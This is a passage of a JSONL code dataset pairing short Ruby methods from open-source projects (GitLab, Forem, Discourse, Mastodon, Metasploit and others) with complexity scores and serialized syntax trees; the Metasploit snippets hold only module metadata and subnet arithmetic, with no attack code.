end","complexity_score":12.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"feature_all_children\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"identifier\"]},{\"type\":\"optarg\",\"children\":[\"sort\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"children\",{\"type\":\"send\",\"children\":[null,\"feature_children\",{\"type\":\"lvar\",\"children\":[\"identifier\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"children\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"children\"]},\"+\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"children\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[null,\"feature_all_children\",{\"type\":\"lvar\",\"children\":[\"c\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sort\"]},{\"type\":\"send\",\"children\":[null,\"sort_children\",{\"type\":\"lvar\",\"children\":[\"result\"]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}","id":"404f03f0-b237-4281-a827-aa3b3e5be79a"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/adapters/cmd/linux/tftp/ppc.rb","start_line":10,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'TFTP Fetch',\n 'Description' => 'Fetch and execute an PPC payload from an TFTP server.',\n 'Author' => ['Brendan Watters', 'Spencer McIntyre'],\n 'Platform' => 'linux',\n 'Arch' => ARCH_CMD,\n 'License' => MSF_LICENSE,\n 'AdaptedArch' => ARCH_PPC,\n 'AdaptedPlatform' => 'linux'\n )\n )\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"TFTP Fetch\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Fetch and execute an PPC payload from an TFTP server.\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Brendan Watters\"]},{\"type\":\"str\",\"children\":[\"Spencer McIntyre\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"AdaptedArch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PPC\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"AdaptedPlatform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]}]}]}]}","id":"0a567c26-1adb-49a5-9ea3-92e72752544e"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-assign/spec/system/page_objects/pages/topic.rb","start_line":52,"raw_source":"def has_assignment_action?(args)\n assignee = args[:group]&.name || args[:user]&.username\n\n container =\n args[:at_post] ? find(\"#post_#{args[:at_post]}#{args[:class_attribute] || \"\"}\") : page\n\n post_content =\n I18n.t(\n \"js.action_codes.#{args[:action]}\",\n path: \"\",\n who: \"@#{assignee}\",\n when: \"just now\",\n )\n\n if args[:action] == \"assigned_to_post\" || args[:action] == \"unassigned_from_post\"\n post_content.gsub!(%r{]*>(.*?)}, '\\1')\n end\n\n container.has_content?(:all, post_content)\n end","complexity_score":28.3,"ast_json":"{\"type\":\"def\",\"children\":[\"has_assignment_action?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"assignee\",{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"group\"]}]},\"name\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]},\"username\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"container\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"at_post\"]}]},{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#post_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"at_post\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"class_attribute\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"page\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"post_content\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"js.action_codes.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"action\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"who\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assignee\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"when\"]},{\"type\":\"str\",\"children\":[\"just now\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"action\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"assigned_to_post\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"action\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"unassigned_from_post\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_content\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"]*>(.*?)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\\\\1\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container\"]},\"has_content?\",{\"type\":\"sym\",\"children\":[\"all\"]},{\"type\":\"lvar\",\"children\":[\"post_content\"]}]}]}]}","id":"1548cfa4-a000-4355-a215-cbccec79cb3c"} {"repo_name":"forem","file_path":"./repos/forem/app/policies/message_policy.rb","start_line":18,"raw_source":"def user_sender?\n record.user_id == user.id\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"user_sender?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},\"user_id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]}]}]}","id":"15db95e6-4707-44f7-bd04-dc7946328c54"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/namespaces/projects_finder.rb","start_line":78,"raw_source":"def by_similarity(items)\n return items unless params[:search].present?\n\n items.merge(Project.search(params[:search]))\n end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"by_similarity\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"items\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"search\"]}]},\"present?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"search\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"search\"]}]}]}]}]}]}","id":"1133f49d-b798-4739-90cf-ac47ecf7091a"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/non_atomic_file_operation.rb","start_line":98,"raw_source":"def allowable_use_with_if?(if_node)\n if_node.condition.operator_keyword? || if_node.else_branch\n end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"allowable_use_with_if?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"if_node\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"if_node\"]},\"condition\"]},\"operator_keyword?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"if_node\"]},\"else_branch\"]}]}]}","id":"db89fe57-06f4-4ddc-a615-04b6d9417d1a"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/manage/autoroute.rb","start_line":376,"raw_source":"def get_subnet(ip_addr, netmask)\n return nil if !validate_cmd(ip_addr, netmask) # make sure IP and netmask are valid\n\n nets = ip_addr.split('.')\n masks = netmask.split('.')\n output = ''\n\n 4.times do |index|\n octet = get_subnet_octet(int_or_nil(nets[index]), int_or_nil(masks[index]))\n return nil if !octet\n\n output << octet.to_s\n output << '.' if index < 3\n end\n return output\n end","complexity_score":27.95,"ast_json":"{\"type\":\"def\",\"children\":[\"get_subnet\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip_addr\"]},{\"type\":\"arg\",\"children\":[\"netmask\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_cmd\",{\"type\":\"lvar\",\"children\":[\"ip_addr\"]},{\"type\":\"lvar\",\"children\":[\"netmask\"]}]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"nets\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip_addr\"]},\"split\",{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"masks\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"netmask\"]},\"split\",{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[4]},\"times\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"octet\",{\"type\":\"send\",\"children\":[null,\"get_subnet_octet\",{\"type\":\"send\",\"children\":[null,\"int_or_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nets\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"index\"]}]}]},{\"type\":\"send\",\"children\":[null,\"int_or_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"masks\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"index\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"octet\"]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"octet\"]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"<\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"str\",\"children\":[\".\"]}]},null]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}","id":"d6cc224f-e469-4ffc-9cf8-1d18a1839586"} {"repo_name":"forem","file_path":"./repos/forem/app/controllers/profile_pins_controller.rb","start_line":4,"raw_source":"def create\n @profile_pin = ProfilePin.new\n @profile_pin.profile_id = current_user.id\n @profile_pin.profile_type = \"User\"\n @profile_pin.pinnable_id = profile_pin_params[:pinnable_id].to_i\n @profile_pin.pinnable_type = \"Article\"\n if @profile_pin.save\n flash[:success] = I18n.t(\"views.pins.pinned\")\n else\n flash[:error] = I18n.t(\"views.pins.error\")\n end\n redirect_back(fallback_location: \"/dashboard\")\n bust_user_profile\n end","complexity_score":22.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@profile_pin\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProfilePin\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@profile_pin\"]},\"profile_id=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@profile_pin\"]},\"profile_type=\",{\"type\":\"str\",\"children\":[\"User\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@profile_pin\"]},\"pinnable_id=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"profile_pin_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pinnable_id\"]}]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@profile_pin\"]},\"pinnable_type=\",{\"type\":\"str\",\"children\":[\"Article\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@profile_pin\"]},\"save\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"views.pins.pinned\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"views.pins.error\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_back\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fallback_location\"]},{\"type\":\"str\",\"children\":[\"/dashboard\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"bust_user_profile\"]}]}]}","id":"bc7a2fdd-2d27-4aa4-af10-2fd19d075195"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20241023085639_add_foreign_key_to_packages_conan_file_metadata_for_package_reference.rb","start_line":16,"raw_source":"def down\n with_lock_retries do\n remove_foreign_key :packages_conan_file_metadata, column: :package_reference_id\n end\n remove_concurrent_index_by_name :packages_conan_file_metadata, INDEX_NAME\n end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key\",{\"type\":\"sym\",\"children\":[\"packages_conan_file_metadata\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"package_reference_id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_concurrent_index_by_name\",{\"type\":\"sym\",\"children\":[\"packages_conan_file_metadata\"]},{\"type\":\"const\",\"children\":[null,\"INDEX_NAME\"]}]}]}]}","id":"871121ce-de0f-4347-86dd-144f76f31c70"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-active-context/lib/active_context/concerns/queue.rb","start_line":114,"raw_source":"def prefix\n name_elements[..-2].join('_').downcase\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"prefix\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name_elements\"]},\"[]\",{\"type\":\"irange\",\"children\":[null,{\"type\":\"int\",\"children\":[-2]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"_\"]}]},\"downcase\"]}]}","id":"4e3302e6-58be-45b3-aa6e-a480abf3b4cf"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/foundstone_document.rb","start_line":235,"raw_source":"def report_services(host_object)\n return unless in_tag(\"HostData\")\n return unless host_object.kind_of? ::Mdm::Host\n return unless @report_data[:ports]\n return if @report_data[:ports].empty?\n @report_data[:ports].each do |svc|\n db_report(:service, svc.merge(:host => host_object))\n end\n end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"report_services\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"host_object\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"HostData\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host_object\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Mdm\"]},\"Host\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ports\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ports\"]}]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ports\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"svc\"]}]},{\"type\":\"send\",\"children\":[null,\"db_report\",{\"type\":\"sym\",\"children\":[\"service\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"svc\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"host_object\"]}]}]}]}]}]}]}]}","id":"b55c89d0-7037-4976-b07b-91719d4b7a5c"} {"repo_name":"rspec-core","file_path":"./repos/rspec-core/spec/rspec/core/configuration_spec.rb","start_line":2551,"raw_source":"def use_seed_on(registry)\n registry.fetch(:random).order([example_numbered(1), example_numbered(2)])\n end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"use_seed_on\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"registry\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"registry\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"random\"]}]},\"order\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"example_numbered\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"example_numbered\",{\"type\":\"int\",\"children\":[2]}]}]}]}]}","id":"f9952369-504d-4763-b5e2-45e814e0f1f3"} {"repo_name":"spree","file_path":"./repos/spree/core/lib/spree/core/controller_helpers/auth.rb","start_line":49,"raw_source":"def store_location(location = nil)\n return if try_spree_current_user\n\n location ||= request.fullpath\n session_key = store_location_session_key\n\n session[session_key] = location\n end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"store_location\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"location\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"try_spree_current_user\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"location\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"fullpath\"]}]},{\"type\":\"lvasgn\",\"children\":[\"session_key\",{\"type\":\"send\",\"children\":[null,\"store_location_session_key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"session_key\"]},{\"type\":\"lvar\",\"children\":[\"location\"]}]}]}]}","id":"e1438170-f4c0-4e30-8345-f1bd0ed6189e"} {"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/queries/schemas/project_phase_filter_dependency_representer.rb","start_line":44,"raw_source":"def href_callback\n api_v3_paths.project_phase_definitions\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"href_callback\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"api_v3_paths\"]},\"project_phase_definitions\"]}]}","id":"740765d7-a4b4-49ae-b9ef-52885aee9a2c"} {"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/db/data/20250212170921_update_mode_in_embedding_models.rb","start_line":4,"raw_source":"def up\n EmbeddingModel.find_by(mode: \"openai\")&.update(mode: \"open_ai\")\n end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmbeddingModel\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mode\"]},{\"type\":\"str\",\"children\":[\"openai\"]}]}]}]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mode\"]},{\"type\":\"str\",\"children\":[\"open_ai\"]}]}]}]}]}","id":"fcfe8fc3-7cec-40a2-b5a1-4a55e3c1ecab"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request_diff.rb","start_line":376,"raw_source":"def raw_diffs(options = {})\n if options[:ignore_whitespace_change]\n @diffs_no_whitespace ||= compare.diffs(options)\n else\n @raw_diffs ||= {}\n @raw_diffs[options] ||= load_diffs(options)\n end\n end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"raw_diffs\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ignore_whitespace_change\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@diffs_no_whitespace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"compare\"]},\"diffs\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@raw_diffs\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@raw_diffs\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[null,\"load_diffs\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}]}","id":"77a82e0a-7ccc-46f8-b4bb-4a9a6a6f0c44"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/concerns/account/fasp_concern.rb","start_line":14,"raw_source":"def announce_new_account_to_subscribed_fasp\n return unless Mastodon::Feature.fasp_enabled?\n return unless discoverable?\n\n uri = ActivityPub::TagManager.instance.uri_for(self)\n Fasp::AnnounceAccountLifecycleEventWorker.perform_async(uri, 'new')\n end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"announce_new_account_to_subscribed_fasp\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mastodon\"]},\"Feature\"]},\"fasp_enabled?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"discoverable?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"uri_for\",{\"type\":\"self\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fasp\"]},\"AnnounceAccountLifecycleEventWorker\"]},\"perform_async\",{\"type\":\"lvar\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"new\"]}]}]}]}","id":"d49343f4-0b50-44c6-8fdc-254226c8f7df"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/rack_attack/request.rb","start_line":264,"raw_source":"def git_path?\n matches?(::Gitlab::PathRegex.repository_git_route_regex)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"git_path?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"matches?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"PathRegex\"]},\"repository_git_route_regex\"]}]}]}","id":"73e9bbc0-a4dc-44df-b37a-b09318cfbd1b"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/service.rb","start_line":272,"raw_source":"def generic_objects\n service_resources.where(:resource_type => 'GenericObject').includes(:resource).collect(&:resource)\n 